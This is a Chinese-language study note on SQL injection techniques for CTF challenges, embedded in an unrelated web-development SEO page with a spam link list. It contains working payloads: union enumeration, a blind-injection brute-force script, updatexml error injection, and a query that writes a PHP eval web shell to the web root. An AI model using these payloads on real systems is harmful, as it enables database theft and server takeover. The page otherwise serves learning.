当前位置: 首页 > wzjs >正文

滨州北京网站建设备案网站代理商

滨州北京网站建设,备案网站代理商,万网个人网站备案查询,手机网站怎么做的好文章目录 前言知识学习注释的两种形式字符型注入万能密码 布尔盲注报错注入堆叠注入时间盲注二次注入 小技巧 前言 这次学习建立在对数据库有基本的认识,了解基础的增删改查语句,数字型注入和字符型注入的基础上,进一步深入学习知识&#xf…

文章目录

  • 前言
  • 知识学习
    • 注释的两种形式
    • 字符型注入
      • 万能密码
    • 布尔盲注
    • 报错注入
    • 堆叠注入
    • 时间盲注
    • 二次注入
  • 小技巧

前言

这次学习建立在对数据库有基本的认识,了解基础的增删改查语句,数字型注入和字符型注入的基础上,进一步深入学习知识,并进行实战训练

知识学习

注释的两种形式

  1. #号,url编码用%23替代
  2. --空格

字符型注入

注入字符被引号包裹,需要采取一定的策略绕过,包括or截断,前面引号后面注释等

//eq:拼接sql语句查找指定ID用户
$sql = "select username,password from user 
where username !='flag' and id = '".$_GET['id']."' limit 1;";

显然需要传入id,假设传入id=1,那么我们得到的效果就是id=‘1’,所以在这里需要构造语句来达到查询效果
在sql语句中,and运算符的优先级比or高,构造id=-1使username!='flag’失效,再构造or username='flag’达到查询效果。

payload:id=-1’ or username='fla

如果返回逻辑继续优化,我们就需要用常规联合查询的步骤走

//检查结果是否有flagif($row->username!=='flag'){$ret['msg']='查询成功';}

首先,通过排序逻辑判断列数
id=1 order by 2(依据第二列排序,这个数字逐渐增加,直到报错为止,得到列数)
select 1,database() 得到数据库名称

select group_concat(table_name) from information_schema.tables where table_schema=database();得到表名

select (select group_concat(column_name) from information_schema.columns where table_name=‘ctfshow_user’),database() 得到列名

select (select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23 拿具体信息

在无过滤题目中,可以采取写入一句话木马再蚁剑连接的形式
id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"

万能密码

假设我们的登录逻辑是user=‘a’ and password=‘b’,and逻辑的优先级比or高,所以如果前面的登录密码输错,那么一定是0,0 or 1的结果为1,所以就产生了万能密码,当然,在现在的网站中绝大部分都不会有这样的漏洞

‘or 1=1--

布尔盲注

注入没有明显的返回结果,注入成功页面正常,注入失败页面报错
猜测脚本

import requestsurl = "http://127.0.0.1/login.php"string = "abcdefghijklmnopqrstuvwxyz0123456789";
password = ""for i in range(10):for s in string:data={"username":f"xxx' or if(substr((select password from user where id = 1),{i+1},1)='{s}',1,0)#","password":"ctfshow"}response = requests.post(url=url,data=data)if "登录成功" in response.text:password+=sbreakelse:print(f"正在尝试第{i+1}位字符是否为{s}")print("password is "+password)

报错注入

报错会返回信息,利用这一点拿到信息
updatexml函数强制报错,并可执行语句,带出语句的查询结果

username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

类似的,采用整数溢出报错,不存在函数报错等等也能达到同样的效果

堆叠注入

多个;号多个注入语句
拼接法绕过

eg:@a=sele,@b=ct,@payload=@a+@b

时间盲注

可以执行sql注入,但是不知道注入结果,甚至不知道注入了没

  • sleep函数获取延时信息
  • 笛卡尔积查询(查询大量数量达到一定时间的效果)
  • get_lock()函数延时法,针对数据库的长连接有效(php每次用完后就会断开连接,java维护数据库连接池,实现长连接)

二次注入

无法直接注入,但是可以把要注入的数据先放到数据库中,其他地方引用数据库中的的数据拼接语句时不再进行过滤

小技巧

表示数据时可以采用十六进制形式
无过滤题目可以采用写入shell,再蚁剑连接查看数据库

1 union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
http://www.dtcms.com/wzjs/597536.html

相关文章:

  • 长春本地网站制作知名网站建设企业多少钱
  • IT男网站建设设计网站需提供什么
  • 小型网站用typescript玉环市建设工程检测中心网站
  • 大连网站建设网站建设app软件开发的费用设计
  • 做网站哪家好 张家口南通网站建设报价
  • 做泵阀到哪个网站好网络维护培训
  • 国内网站做得好的公司四川住建厅官方网站的网址
  • 优质服务的小企业网站建设凯里网站建设公司哪家好
  • 网站开发网络公司兼职wordpress全站网易云音乐播放
  • 中山手机网站开发互联网产品代理项目
  • 广告图片网站嘉兴市建设官方网站
  • 提供免费服务器的网站宝安做网站信科
  • 公司官网网站建设建设工程施工合同条例
  • 易语言怎么做点击按钮打开网站烟台网站建设联系企汇互联专业
  • 阳网站建设google 字体 wordpress
  • python做网站比php网络营销的优势是什么
  • 不懂英文怎么做英文的seo网站网吧手机网站模版
  • 旅游网站建设技术解决方案移动互联网开发考试
  • 网站建设怎么进后台互联网推广策划
  • 湖北省建设厅监督网站知名网站制作全包
  • 网站建设费用推荐网络专业网站开发具体是干什么的
  • 网站赚钱方法wordpress4.9火车头发布模板
  • 网站创建怎么做网站开发教程全集
  • 什么网站做婚礼请柬seo快速排名网站优化
  • 网站的弹窗怎么做沈阳世纪兴电子商务服务中心
  • 一个网站需要多少空间国内知名展馆设计公司排名
  • 任丘建设银行网站手机网站欢迎页面
  • asp网站如何安装如何设计网站步骤
  • 建设无障碍网站商务网站建设PDF下载
  • 做婚庆网站江西冰溪建设集团网站